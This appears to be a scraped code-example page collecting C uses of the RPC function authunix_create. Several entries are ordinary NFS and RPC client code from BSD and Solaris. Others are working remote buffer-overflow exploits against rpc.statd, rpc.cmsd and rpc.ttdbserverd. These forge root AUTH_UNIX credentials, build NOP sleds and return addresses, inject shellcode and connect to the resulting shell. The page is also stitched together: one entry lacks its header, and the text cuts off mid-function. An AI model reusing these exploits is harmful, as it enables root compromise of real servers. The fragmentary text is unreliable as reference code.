Пример #1
0
/*
 * Returns an auth handle with parameters determined by doing lots of
 * syscalls.
 */
AUTH *
authunix_create_default(void)
{
	int len, i;
	char machname[MAX_MACHINE_NAME + 1];
	uid_t uid;
	gid_t gid;
	gid_t gids[NGRPS];
	int gids2[NGRPS];

	if (gethostname(machname, sizeof machname) == -1)
		return (NULL);
	machname[MAX_MACHINE_NAME] = 0;
	uid = geteuid();
	gid = getegid();
	if ((len = getgroups(NGRPS, gids)) < 0)
		return (NULL);
	if (len > maxgrplist)
		len = maxgrplist;
	for (i = 0; i < len; i++)
		gids2[i] = gids[i];
	return (authunix_create(machname, uid, gid, len, gids2));
}
Пример #2
0
static AUTH *
nfs_getauth(struct nfsmount *nmp, struct ucred *cred)
{
#ifdef KGSSAPI
	rpc_gss_service_t svc;
	AUTH *auth;
#endif

	switch (nmp->nm_secflavor) {
#ifdef KGSSAPI
	case RPCSEC_GSS_KRB5:
	case RPCSEC_GSS_KRB5I:
	case RPCSEC_GSS_KRB5P:
		if (!nmp->nm_mech_oid) {
			if (!rpc_gss_mech_to_oid("kerberosv5",
				&nmp->nm_mech_oid))
				return (NULL);
		}
		if (nmp->nm_secflavor == RPCSEC_GSS_KRB5)
			svc = rpc_gss_svc_none;
		else if (nmp->nm_secflavor == RPCSEC_GSS_KRB5I)
			svc = rpc_gss_svc_integrity;
		else
			svc = rpc_gss_svc_privacy;
		auth = rpc_gss_secfind(nmp->nm_client, cred,
		    nmp->nm_principal, nmp->nm_mech_oid, svc);
		if (auth)
			return (auth);
		/* fallthrough */
#endif
	case AUTH_SYS:
	default:
		return (authunix_create(cred));

	}
}
Пример #3
0
int
main(int argc, char **argv)
{
    int ch;
    char *buff;

    CLIENT *clnt;
    enum clnt_stat res;
    struct timeval tv, tvr;
    struct sm_name smname;
    struct sm_stat_res smres;
    struct sockaddr_in addr;

    int type = -1;
    int usetcp = 0;
    int timeout = 5;
    int wipe = 9;
    int offset = 600;
    int buflen = 1024;
    char *target;
    char *sc = shellcode;
    u_short port = 0;
    u_long bufpos = 0;

    int sockp = RPC_ANYSOCK;

    extern char *optarg;
    extern int optind;
    extern int opterr;
    opterr = 0;


    while((ch = getopt(argc, argv, "tp:a:l:o:w:s:d:")) != -1)
    {
        switch(ch)
        {
            case 't': usetcp = 1; break;
            case 'p': sscanf(optarg, "%hu", &port); break;
            case 'a': sscanf(optarg, "%lx", &bufpos); break;
            case 'l': buflen = atoi(optarg); break;
            case 'o': offset = atoi(optarg); break;
            case 's': timeout = atoi(optarg); break;
            case 'w': wipe = atoi(optarg); break;
            case 'd': type = atoi(optarg); break;
            default : usage(argv[0]);
        }
    }

    if(!(target = argv[optind]))
    {
        fprintf(stderr, "No target host specified\n");
        exit(EXIT_FAILURE);
    }

    if(type >= 0)
    {
        if(type >= sizeof types / sizeof types[0] - 1)
        {
            fprintf(stderr, "Invalid type\n");
            exit(EXIT_FAILURE);
        }

        sc = types[type].code;
        bufpos = types[type].bufpos;
        buflen = types[type].buflen;
        offset = types[type].offset;
        wipe = types[type].wipe;
    }

    if(!bufpos)
    {
        fprintf(stderr, "No buffer address specified\n");
        exit(EXIT_FAILURE);
    }

    bzero(&addr, sizeof addr);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr = getip(target);

    tv.tv_sec = timeout;
    tv.tv_usec = 0;

    if(!usetcp)
    {
        clnt = clntudp_create(&addr, SM_PROG, SM_VERS, tv, &sockp);
        if(clnt == NULL)
        {
            clnt_pcreateerror("clntudp_create()");
            exit(EXIT_FAILURE);
        }
        tvr.tv_sec = 2;
        tvr.tv_usec = 0;
        clnt_control(clnt, CLSET_RETRY_TIMEOUT, (char *) &tvr);
    }
    else
    {
        clnt = clnttcp_create(&addr, SM_PROG, SM_VERS, &sockp, 0, 0);
        if(clnt == NULL)
        {
            clnt_pcreateerror("clnttcp_create()");
            exit(EXIT_FAILURE);
        }
    }

    /* AUTH_UNIX / AUTH_SYS authentication forgery */
    clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);

    buff = wizardry(sc, bufpos, buflen, offset, wipe);
    smname.mon_name = buff;

    res = clnt_call(clnt, SM_STAT, (xdrproc_t) xdr_sm_name,
        (caddr_t) &smname, (xdrproc_t) xdr_sm_stat_res,
        (caddr_t) &smres, tv);

    if(res != RPC_SUCCESS)
    {
        clnt_perror(clnt, "clnt_call()");
        printf("A timeout was expected. Attempting connection to shell..\n");
        sleep(5); connection(addr);
        printf("Failed\n");
    }
    else
    {
        printf("Failed - statd returned res_stat: (%s) state: %d\n",
                smres.res_stat ? "failure" : "success", smres.state);
    }

    free(buff);
    clnt_destroy(clnt);
    return -1;
}
Пример #4
0
main(int argc,char **argv){
    char buffer[30000],address[4],*b,*cmd;
    int i,c,n,flag=0,vers=7,port=0,sck;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req1_t req1;req2_t req2;appt_t ap;
    char calendar[32];

    printf("copyright LAST STAGE OF DELIRIUM jul 1999 poland  //lsd-pl.net/\n");
    printf("rpc.cmsd for solaris 2.5 2.5.1 2.6 2.7 sparc\n\n");

    if(argc<2){
        printf("usage: %s address [-t][-s|-c command] [-p port] [-v 5|6|7]\n",
            argv[0]);
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"tsc:p:v:"))!=-1){
        switch(c){
        case 't': flag|=4;break;
        case 's': flag|=2;break;
        case 'c': flag|=1;cmd=optarg;break;
        case 'p': port=atoi(optarg);break;
        case 'v': vers=atoi(optarg);
        }
    }

    if(vers==5) *(unsigned long*)address=htonl(0xefffcf48+600);
    if(vers==6) *(unsigned long*)address=htonl(0xefffed0c+100);
    if(vers==7) *(unsigned long*)address=htonl(0xffbeea8c+600);

    printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
    fflush(stdout);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror("\nerror");exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }else{
        if((hp=gethostbyaddr((char*)&adr.sin_addr.s_addr,4,AF_INET))==NULL){
            errno=EADDRNOTAVAIL;perror("\nerror");exit(-1);
        }
    }
    if((b=(char*)strchr(hp->h_name,'.'))!=NULL) *b=0;

    if(flag&4){
        sck=RPC_ANYSOCK;
        if(!(cl=clntudp_create(&adr,CMSD_PROG,CMSD_VERS,tm,&sck))){
            clnt_pcreateerror("\nerror");exit(-1);
        }
        stat=clnt_call(cl,CMSD_PING,xdr_void,NULL,xdr_void,NULL,tm);
        if(stat!=RPC_SUCCESS) {clnt_perror(cl,"\nerror");exit(-1);}
        clnt_destroy(cl);
        if(flag==4) {printf("sent!\n");exit(0);}
    }

    adr.sin_port=htons(port);

    sck=RPC_ANYSOCK;
    if(!(cl=clnttcp_create(&adr,CMSD_PROG,CMSD_VERS,&sck,0,0))){
        clnt_pcreateerror("\nerror");exit(-1);
    }
    cl->cl_auth=authunix_create(hp->h_name,0,0,0,NULL);

    sprintf(calendar,"xxx.XXXXXX");
    req1.target=mktemp(calendar);
    req1.new_target="";

    stat=clnt_call(cl,CMSD_CREATE,xdr_req1,&req1,xdr_void,NULL,tm);
    if(stat!=RPC_SUCCESS) {clnt_perror(cl,"\nerror");exit(-1);}

    b=buffer;
    for(i=0;i<ADRNUM;i++) *b++=address[i%4]; 
    *b=0;
    b=&buffer[2000];
    for(i=0;i<2;i++) *b++=0xff; 
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; 

    if(flag&2){
        i=sizeof(struct sockaddr_in);
        if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
            struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
            ioctl(sck,(('S'<<8)|2),"sockmod");
            nb.maxlen=0xffff;
            nb.len=sizeof(struct sockaddr_in);;
            nb.buf=(char*)&adr;
            ioctl(sck,(('T'<<8)|144),&nb);
        }
        n=-ntohs(adr.sin_port);
        printf("port=%d connected! ",-n);fflush(stdout);

        *((unsigned long*)(&findsckcode[56]))|=htonl((n>>10)&0x3fffff);
        *((unsigned long*)(&findsckcode[60]))|=htonl(n&0x3ff);
        for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i];
        for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
        for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    }else{
Пример #5
0
/*
 * This routine will open a device as it is known by the V2 OBP. It
 * then goes thru the stuff necessary to initialize the network device,
 * get our network parameters, (using DHCP or rarp/bootparams), and
 * finally actually go and get the root filehandle. Sound like fun?
 * Suuurrrree. Take a look.
 *
 * Returns 0 if things worked. -1 if we crashed and burned.
 */
int
boot_nfs_mountroot(char *str)
{
	int		status;
	enum clnt_stat	rpc_stat;
	char		*root_path = &root_pathbuf[0];	/* to make XDR happy */
	struct timeval	wait;
	int		fd;
	int		bufsize;
	char		*opts, *val;
	int		nfs_version = 0;
	int		istcp = 1;
	int		nfs_port = 0;	/* Cause pmap to get port */
	struct sockaddr_in tmp_addr;	/* throw away */

	if (root_CLIENT != NULL) {
		AUTH_DESTROY(root_CLIENT->cl_auth);
		CLNT_DESTROY(root_CLIENT);
		root_CLIENT = NULL;
	}

	root_to.sin_family = AF_INET;
	root_to.sin_addr.s_addr = htonl(INADDR_ANY);
	root_to.sin_port = htons(0);

	mac_init(str);

	(void) ipv4_setpromiscuous(TRUE);

	if (get_netconfig_strategy() == NCT_BOOTP_DHCP) {
		if (boothowto & RB_VERBOSE)
			printf("Using BOOTP/DHCP...\n");
		if (dhcp() != 0 || setup_root_vars() != 0) {
			(void) ipv4_setpromiscuous(FALSE);
			if (boothowto & RB_VERBOSE)
				printf("BOOTP/DHCP configuration failed!\n");
			return (-1);
		}

		/* now that we have an IP address, turn off promiscuous mode */
		(void) ipv4_setpromiscuous(FALSE);
	} else {
		/* Use RARP/BOOTPARAMS. RARP will try forever... */
		if (boothowto & RB_VERBOSE)
			printf("Using RARP/BOOTPARAMS...\n");
		mac_call_rarp();

		/*
		 * Since there is no way to determine our netmask, and therefore
		 * figure out if the router we got is useful, we assume all
		 * services are local. Use DHCP if this bothers you.
		 */
		dontroute = TRUE;
		/*
		 * We are trying to keep the ARP response
		 * timeout on the lower side with BOOTP/RARP.
		 * We are doing this for BOOTP/RARP where policy
		 * doesn't allow to route the packets outside
		 * the subnet as it has no idea about the
		 * netmask. By doing so, we are reducing
		 * ARP response timeout for any packet destined
		 * for outside booting clients subnet. Client can
		 * not expect such ARP replies and will finally
		 * timeout after a long delay. This would cause
		 * booting client to get stalled for a longer
		 * time. We can not avoid accepting any outside
		 * subnet packets accidentally destined for the
		 * booting client.
		 */
		mac_set_arp_timeout(ARP_INETBOOT_TIMEOUT);

		/* now that we have an IP address, turn off promiscuous mode */
		(void) ipv4_setpromiscuous(FALSE);

		/* get our hostname */
		if (whoami() == FALSE)
			return (-1);

		/* get our bootparams. */
		if (getfile("root", root_hostname, &root_to.sin_addr,
		    root_pathbuf) == FALSE)
			return (-1);

		/* get our rootopts. */
		(void) getfile("rootopts", root_hostname, &tmp_addr.sin_addr,
		    rootopts);
	}

	/* mount root */
	if (boothowto & RB_VERBOSE) {
		printf("root server: %s (%s)\n", root_hostname,
		    inet_ntoa(root_to.sin_addr));
		printf("root directory: %s\n", root_pathbuf);
	}

	/*
	 * Assumes we've configured the stack and thus know our
	 * IP address/hostname, either by using DHCP or rarp/bootparams.
	 */
	gethostname(my_hostname, sizeof (my_hostname));

	wait.tv_sec = RPC_RCVWAIT_MSEC / 1000;
	wait.tv_usec = 0;

	/*
	 * Parse out the interesting root options, if an invalid
	 * or unknown option is provided, silently ignore it and
	 * use the defaults.
	 */
	opts = rootopts;
	while (*opts) {
		int ival;
		switch (getsubopt(&opts, optlist, &val)) {
		case OPT_RSIZE:
			if (val == NULL || !isdigit(*val))
				break;
			nfs_readsize = atoi(val);
			break;
		case OPT_TIMEO:
			if (val == NULL || !isdigit(*val))
				break;
			ival = atoi(val);
			wait.tv_sec = ival / 10;
			wait.tv_usec = (ival % 10) * 100000;
			break;
		case OPT_VERS:
			if (val == NULL || !isdigit(*val))
				break;
			nfs_version = atoi(val);
			break;
		case OPT_PROTO:
			if (val == NULL || isdigit(*val))
				break;
			if ((strncmp(val, "udp", 3) == 0))
				istcp = 0;
			else
				istcp = 1;	/* must be tcp */
			break;
		case OPT_PORT:
			if (val == NULL || !isdigit(*val))
				break;
			nfs_port = atoi(val);

			/*
			 * Currently nfs_dlinet.c doesn't support setting
			 * the root NFS port. Delete this when it does.
			 */
			nfs_port = 0;
			break;
		default:
			/*
			 * Unknown options are silently ignored
			 */
			break;
		}
	}

	/*
	 * If version is set, then try that version first.
	 */
	switch (nfs_version) {
	case NFS_VERSION:
		if (nfsmountroot(root_path, &roothandle) == 0)
			goto domount;
		break;
	case NFS_V3:
		if (nfs3mountroot(root_path, &roothandle) == 0)
			goto domount;
		break;
	case NFS_V4:
		/*
		 * With v4 we skip the mount and go straight to
		 * setting the root filehandle.  Because of this we
		 * do things slightly differently and obtain our
		 * client handle first.
		 */
		if (istcp && nfs4init(root_path, nfs_port) == 0) {
			/*
			 * If v4 init succeeded then we are done.  Just return.
			 */
			return (0);
		}
	}

	/*
	 * If there was no chosen version or the chosen version failed
	 * try all versions in order, this may still fail to boot
	 * at the kernel level if the options are not right, but be
	 * generous at this early stage.
	 */
	if (istcp && nfs4init(root_path, nfs_port) == 0) {
		/*
		 * If v4 init succeeded then we are done.  Just return.
		 */
		return (0);
	}

	if (nfs3mountroot(root_path, &roothandle) == 0)
		goto domount;

	if ((status = nfsmountroot(root_path, &roothandle)) != 0)
		return (status);

domount:
	/*
	 * Only v2 and v3 go on from here.
	 */
	roothandle.offset = (uint_t)0;		/* it's a directory! */
	root_to.sin_port = htons(nfs_port);	/* NFS is next after mount */

	/*
	 * Create the CLIENT handle for NFS operations
	 */
	if (roothandle.version == NFS_VERSION)
		bufsize = NFSBUF_SIZE;
	else
		bufsize = NFS3BUF_SIZE;

	/*
	 * First try TCP then UDP (unless UDP asked for explicitly), if mountd
	 * alows this version but neither transport is available we are stuck.
	 */
	if (istcp) {
		fd = -1;
		root_CLIENT = clntbtcp_create(&root_to, NFS_PROGRAM,
			roothandle.version, wait, &fd, bufsize, bufsize);
		if (root_CLIENT != NULL) {
			root_CLIENT->cl_auth =
			    authunix_create(my_hostname, 0, 1, 1, &fake_gids);
			/*
			 * Send NULL proc, check if the server really exists
			 */
			rpc_stat = CLNT_CALL(root_CLIENT, 0,
					xdr_void, NULL, xdr_void, NULL, wait);

			if (rpc_stat == RPC_SUCCESS)
				return (0);

			AUTH_DESTROY(root_CLIENT->cl_auth);
			CLNT_DESTROY(root_CLIENT);
			root_CLIENT = NULL;
		}
		/* Fall through to UDP case */
	}

	fd = -1;
	root_CLIENT = clntbudp_bufcreate(&root_to, NFS_PROGRAM,
			roothandle.version, wait, &fd, bufsize, bufsize);
	if (root_CLIENT == NULL)
		return (-1);

	root_CLIENT->cl_auth =
			    authunix_create(my_hostname, 0, 1, 1, &fake_gids);
	/*
	 * Send NULL proc, check if the server really exists
	 */
	rpc_stat = CLNT_CALL(root_CLIENT, 0,
				xdr_void, NULL, xdr_void, NULL, wait);

	if (rpc_stat == RPC_SUCCESS)
		return (0);

	AUTH_DESTROY(root_CLIENT->cl_auth);
	CLNT_DESTROY(root_CLIENT);
	root_CLIENT = NULL;
	return (-1);
}
Пример #6
0
/*
 * Setup v4 client for inetboot
 */
static int
nfs4init(char *path, uint16_t nfs_port)
{
	struct timeval	wait;
	int		fd = -1;
	int		error = 0;
	enum clnt_stat	rpc_stat;
	struct nfs_file	rootpath;

	wait.tv_sec = RPC_RCVWAIT_MSEC / 1000;
	wait.tv_usec = 0;

	/*
	 * If we haven't explicitly set the port number, set to the standard
	 * 2049 and don't cause a rpcbind request.
	 */
	if (nfs_port == 0)
		nfs_port = 2049;

	root_to.sin_port = htons(nfs_port);

	/*
	 * Support TCP only
	 */
	root_CLIENT = clntbtcp_create(&root_to, NFS_PROGRAM,
					NFS_V4, wait, &fd,
					NFS4BUF_SIZE, NFS4BUF_SIZE);

	if (root_CLIENT == NULL) {
		root_to.sin_port = 0;
		return (-1);
	}

	root_CLIENT->cl_auth =
			authunix_create(my_hostname, 0, 1, 1, &fake_gids);

	/*
	 * Send NULL proc the server first to see if V4 exists
	 */
	rpc_stat = CLNT_CALL(root_CLIENT, NFSPROC4_NULL, xdr_void, NULL,
				xdr_void, NULL, wait);

	if (rpc_stat != RPC_SUCCESS) {
		dprintf("boot: NULL proc failed NFSv4 service not available\n");
		AUTH_DESTROY(root_CLIENT->cl_auth);
		CLNT_DESTROY(root_CLIENT);
		root_to.sin_port = 0;
		return (-1);
	}

	/*
	 * Do a lookup to get to the root_path.  This is nice since it can
	 * handle multicomponent lookups.
	 */
	roothandle.version = NFS_V4;
	roothandle.ftype.type4 = NF4DIR;
	roothandle.fh.fh4.len = 0;		/* Force a PUTROOTFH */
	roothandle.offset = (uint_t)0;		/* it's a directory! */
	error = lookup(path, &rootpath, TRUE);

	if (error) {
		printf("boot: lookup %s failed\n", path);
		return (-1);
	}
	roothandle = rootpath;	/* structure copy */

	/*
	 * Hardwire in a known reasonable upper limit of 32K
	 */
	nfs_readsize = nfs_readsize <  32 * 1024 ? nfs_readsize : 32 * 1024;
	/*
	 * Set a reasonable lower limit on readsize
	 */
	nfs_readsize = (nfs_readsize != 0 && nfs_readsize < 512) ?
							512 : nfs_readsize;

	return (0);
}
Пример #7
0
/*
 * our version of brpc_call(). We cache in portnumber in to->sin_port for
 * your convenience. to and from addresses are taken and received in network
 * order.
 */
enum clnt_stat
brpc_call(
	rpcprog_t	prog,		/* rpc program number to call. */
	rpcvers_t	vers,		/* rpc program version */
	rpcproc_t	proc,		/* rpc procedure to call */
	xdrproc_t	in_xdr,		/* routine to serialize arguments */
	caddr_t		args,		/* arg vector for remote call */
	xdrproc_t	out_xdr,	/* routine to deserialize results */
	caddr_t		ret,		/* addr of buf to place results in */
	int		rexmit,		/* retransmission interval (secs) */
	int		wait_time,	/* how long (secs) to wait (resp) */
	struct sockaddr_in 	*to,		/* destination */
	struct sockaddr_in	*from_who,	/* responder's port/address */
	uint_t			auth)		/* type of auth wanted. */
{
	int s;
	char hostname[MAXHOSTNAMELEN];
	struct sockaddr_in from;	/* us. */
	socklen_t from_len;
	XDR xmit_xdrs, rcv_xdrs;	/* xdr memory */
	AUTH *xmit_auth;		/* our chosen auth cookie */
	gid_t fake_gids = 1;		/* fake gids list for auth_unix */
	caddr_t trm_msg, rcv_msg;	/* outgoing/incoming rpc mesgs */
	struct rpc_msg reply;		/* our reply msg header */
	int trm_len, rcv_len;
	struct rpc_err rpc_error;	/* to store RPC errors in on rcv. */
	static uint_t xid;		/* current xid */
	uint_t xmit_len;		/* How much of the buffer we used */
	int nrefreshes = 2;		/* # of times to refresh cred */
	int flags = 0;			/* send flags */
	uint_t xdelay;
	int errors, preserve_errno;
	uint32_t timeout;
	socklen_t optlen;

	xmit_auth = NULL;

	trm_len = mac_get_mtu();
	trm_msg = bkmem_alloc(trm_len);
	rcv_msg = bkmem_alloc(NFSBUF_SIZE);

	if (trm_msg == NULL || rcv_msg == NULL) {
		errno = ENOMEM;
		rpc_error.re_status = RPC_CANTSEND;
		goto gt_error;
	}

	if ((s = socket(PF_INET, SOCK_DGRAM, 0)) < 0) {
		rpc_error.re_status = RPC_CANTSEND;
		goto gt_error;
	}

	if (dontroute) {
		(void) setsockopt(s, SOL_SOCKET, SO_DONTROUTE,
		    (const void *)&dontroute, sizeof (dontroute));
	}

	if (to->sin_addr.s_addr == cached_destination.s_addr) {
		optlen = sizeof (timeout);
		(void) getsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (void *)&timeout,
		    &optlen);
	} else {
		cached_destination.s_addr = htonl(INADDR_ANY);
	}

	/* Bind our endpoint. */
	from.sin_family = AF_INET;
	ipv4_getipaddr(&from.sin_addr);
	from.sin_addr.s_addr = htonl(from.sin_addr.s_addr);
	from.sin_port = get_source_port(B_TRUE);

	if (bind(s, (struct sockaddr *)&from, sizeof (from)) < 0) {
		rpc_error.re_status = RPC_CANTSEND;
		goto gt_error;
	}

	bzero((caddr_t)&rpc_error, sizeof (struct rpc_err));

	/* initialize reply's rpc_msg struct, so we can decode later. */
	reply.acpted_rply.ar_verf = _null_auth;	/* struct copy */
	reply.acpted_rply.ar_results.where = ret;
	reply.acpted_rply.ar_results.proc = out_xdr;

	if (ntohs(to->sin_port) == 0) {
		/* snag the udp port we need. */
		if ((to->sin_port = (in_port_t)bpmap_getport(prog, vers,
		    &(rpc_error.re_status), to, NULL)) == 0)
			goto gt_error;
		to->sin_port = htons(to->sin_port);
	}

	/* generate xid - increment */
	if (xid == 0)
		xid = (uint_t)(prom_gettime() / 1000) + 1;
	else
		xid++;

	/* set up outgoing pkt as xdr modified. */
	xdrmem_create(&xmit_xdrs, trm_msg, trm_len, XDR_ENCODE);

	/* setup rpc header */
	if (rpc_hdr(&xmit_xdrs, xid, prog, vers, proc) != TRUE) {
		dprintf("brpc_call: cannot setup rpc header.\n");
		rpc_error.re_status = RPC_FAILED;
		goto gt_error;
	}

	/* setup authentication */
	switch (auth) {
	case AUTH_NONE:
		xmit_auth = authnone_create();
		break;
	case AUTH_UNIX:
		/*
		 * Assumes we've configured the stack and thus know our
		 * IP address/hostname, either by using DHCP or rarp/bootparams.
		 */
		gethostname(hostname, sizeof (hostname));
		xmit_auth = authunix_create(hostname, 0, 1, 1, &fake_gids);
		break;
	default:
		dprintf("brpc_call: Unsupported authentication type: %d\n",
		    auth);
		rpc_error.re_status = RPC_AUTHERROR;
		goto gt_error;
	/*NOTREACHED*/
	}

	/*
	 * rpc_hdr puts everything in the xmit buffer for the header
	 * EXCEPT the proc. Put it, and our authentication info into
	 * it now, serializing as we go. We will be at the place where
	 * we left off.
	 */
	xmit_xdrs.x_op = XDR_ENCODE;
	if ((XDR_PUTINT32(&xmit_xdrs, (int32_t *)&proc) == FALSE) ||
	    (AUTH_MARSHALL(xmit_auth, &xmit_xdrs, NULL) == FALSE) ||
	    ((*in_xdr)(&xmit_xdrs, args) == FALSE)) {
		rpc_error.re_status = RPC_CANTENCODEARGS;
		goto gt_error;
	} else
		xmit_len = (int)XDR_GETPOS(&xmit_xdrs); /* for sendto */

	/*
	 * Right now the outgoing packet should be all serialized and
	 * ready to go... Set up timers.
	 */

	xdelay = (rexmit == 0) ? RPC_REXMIT_MSEC : (rexmit * 1000);
	(void) setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (void *)&xdelay,
	    sizeof (xdelay));
	wait_time = (wait_time == 0) ? RPC_RCVWAIT_MSEC : (wait_time * 1000);

	wait_time += prom_gettime();

	/*
	 * send out the request. The first item in the receive buffer will
	 * be the xid. Check if it is correct.
	 */
	errors = 0;
	rpc_error.re_status = RPC_TIMEDOUT;
	do {
		if (sendto(s, trm_msg, xmit_len, flags, (struct sockaddr *)to,
		    sizeof (struct sockaddr_in)) < 0) {
			/*
			 * If errno is set to ETIMEDOUT, return
			 * with RPC status as RPC_TIMEDOUT. Calling
			 * funciton will take care of this error by
			 * retrying the RPC call.
			 */
			if (errno == ETIMEDOUT) {
				rpc_error.re_status = RPC_TIMEDOUT;
			} else {
				rpc_error.re_status = RPC_CANTSEND;
			}
			goto gt_error;
		}

		from_len = sizeof (struct sockaddr_in);
		while ((rcv_len = recvfrom(s, rcv_msg, NFSBUF_SIZE,
		    MSG_DONTWAIT, (struct sockaddr *)from_who,
		    &from_len)) > 0 || errors < RPC_ALLOWABLE_ERRORS) {
			if (rcv_len < 0) {
				if (errno == EWOULDBLOCK ||
				    errno == ETIMEDOUT) {
					break; /* timeout */
				}
				rpc_error.re_status = RPC_CANTRECV;
				goto gt_error;
			}
			if (ntohl(*((uint32_t *)(rcv_msg))) != xid) {
				dprintf("brpc_call: xid: 0x%x != 0x%x\n",
				    *(uint32_t *)(rcv_msg), xid);
				continue;
			}
			/*
			 * Let's deserialize the data into our 'ret' buffer.
			 */
			xdrmem_create(&rcv_xdrs, rcv_msg, rcv_len, XDR_DECODE);
			if (xdr_replymsg(&rcv_xdrs, &reply) == FALSE) {
				rpc_error.re_status = RPC_CANTDECODERES;
				goto gt_error;
			}
			_seterr_reply(&reply, &rpc_error);
			switch (rpc_error.re_status) {
			case RPC_SUCCESS:
				/*
				 * XXX - validate for unix and none
				 * always return true.
				 */
				if (AUTH_VALIDATE(xmit_auth,
				    &reply.acpted_rply.ar_verf) == FALSE) {
					rpc_error.re_status = RPC_AUTHERROR;
					rpc_error.re_why = AUTH_INVALIDRESP;
					errors++;
				}
				if (reply.acpted_rply.ar_verf.oa_base !=
				    0) {
					xmit_xdrs.x_op = XDR_FREE;
					(void) xdr_opaque_auth(
					    &xmit_xdrs,
					    &reply.acpted_rply.ar_verf);
				}
				break;

			case RPC_AUTHERROR:
				/*
				 * Let's see if our credentials need
				 * refreshing
				 */
				if (nrefreshes > 0 && AUTH_REFRESH(xmit_auth,
				    NULL, NULL)) {
					nrefreshes--;
				}
				errors++;
				break;

			case RPC_PROCUNAVAIL:
				/*
				 * Might be a silly portmapper implementation
				 * erroneously responding to our rpc broadcast
				 * indirect portmapper call. For this
				 * particular case, we don't increment the
				 * error counter because we want to keep
				 * sifting for successful replies...
				 */
				if (to->sin_addr.s_addr !=
				    ntohl(INADDR_BROADCAST))
					errors++;
				break;

			case RPC_PROGVERSMISMATCH:
				/*
				 * Successfully talked to server, but they
				 * don't speak our lingo.
				 */
				goto gt_error;

			default:
				/* Just keep trying till there's no data... */
				errors++;
				break;
			}

			if (rpc_error.re_status != RPC_SUCCESS) {
				dprintf("brpc_call: from: %s, error: ",
				    inet_ntoa(from_who->sin_addr));
				rpc_disperr(&rpc_error);
			} else
				break;
		}

		/*
		 * If we're having trouble reassembling datagrams, let the
		 * application know ASAP so that it can take the appropriate
		 * actions.
		 */

	} while (rpc_error.re_status != RPC_SUCCESS && errno != ETIMEDOUT &&
	    prom_gettime() < wait_time);

gt_error:
	if (xmit_auth != NULL)
		AUTH_DESTROY(xmit_auth);

	if (trm_msg != NULL)
		bkmem_free(trm_msg, trm_len);
	if (rcv_msg != NULL)
		bkmem_free(rcv_msg, NFSBUF_SIZE);

	if (rpc_error.re_status != RPC_SUCCESS)
		rpc_disperr(&rpc_error);

	/*
	 * socket calls reset errno. Since we want to hold onto the errno
	 * value if it is ETIMEDOUT to communicate to our caller that this
	 * RPC_TIMEDOUT situation is due to a stack problem (we're getting
	 * a reply, but the stack simply can't assemble it.), we need to
	 * preserve errno's value over the socket_close().
	 */
	preserve_errno = (errno == ETIMEDOUT) ? errno : 0;
	(void) socket_close(s);
	errno = preserve_errno;

	return (rpc_error.re_status);
}
main(int argc,char **argv){
    char buffer[30000],address[4],*b,*cmd;
    int i,c,n,flag=1,vers=0,port=0,sck;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;

    printf("copyright LAST STAGE OF DELIRIUM jul 1998 poland  //lsd-pl.net/\n");
    printf("rpc.ttdbserverd for solaris 2.3 2.4 2.5 2.5.1 2.6 sparc\n\n");

    if(argc<2){
        printf("usage: %s address [-s|-c command] [-p port] [-v 6]\n",argv[0]);
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"sc:p:v:"))!=-1){
        switch(c){
        case 's': flag=1;break;
        case 'c': flag=0;cmd=optarg;break;
        case 'p': port=atoi(optarg);break;
        case 'v': vers=atoi(optarg);
        }
    }

    if(vers==6){
        *(unsigned long*)address=htonl(0xeffff420+1200+552);
        adrnum=1200;
        nopnum=1300;
    }else{
        *(unsigned long*)address=htonl(0xefffdadc+1000+4500);
        adrnum=3000;
        nopnum=6000;
    }

    printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
    fflush(stdout);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }

    sck=RPC_ANYSOCK;
    if(!(cl=clnttcp_create(&adr,TTDBSERVERD_PROG,TTDBSERVERD_VERS,&sck,0,0))){
        clnt_pcreateerror("error");exit(-1);
    }
    cl->cl_auth=authunix_create("localhost",0,0,0,NULL);

    b=buffer;
    for(i=0;i<adrnum;i++) *b++=address[i%4];
    for(i=0;i<nopnum;i++) *b++=nop[i%4];
    if(flag){
        i=sizeof(struct sockaddr_in);
        if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
            struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
            ioctl(sck,(('S'<<8)|2),"sockmod");
            nb.maxlen=0xffff;
            nb.len=sizeof(struct sockaddr_in);;
            nb.buf=(char*)&adr;
            ioctl(sck,(('T'<<8)|144),&nb);
        }
        n=-ntohs(adr.sin_port);
        printf("port=%d connected! ",-n);fflush(stdout);

        *((unsigned long*)(&findsckcode[56]))|=htonl((n>>10)&0x3fffff);
        *((unsigned long*)(&findsckcode[60]))|=htonl(n&0x3ff);
        for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
        for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    }else{
        for(i=0;i<strlen(cmdshellcode);i++) *b++=cmdshellcode[i];
Пример #9
0
main(int argc,char **argv){
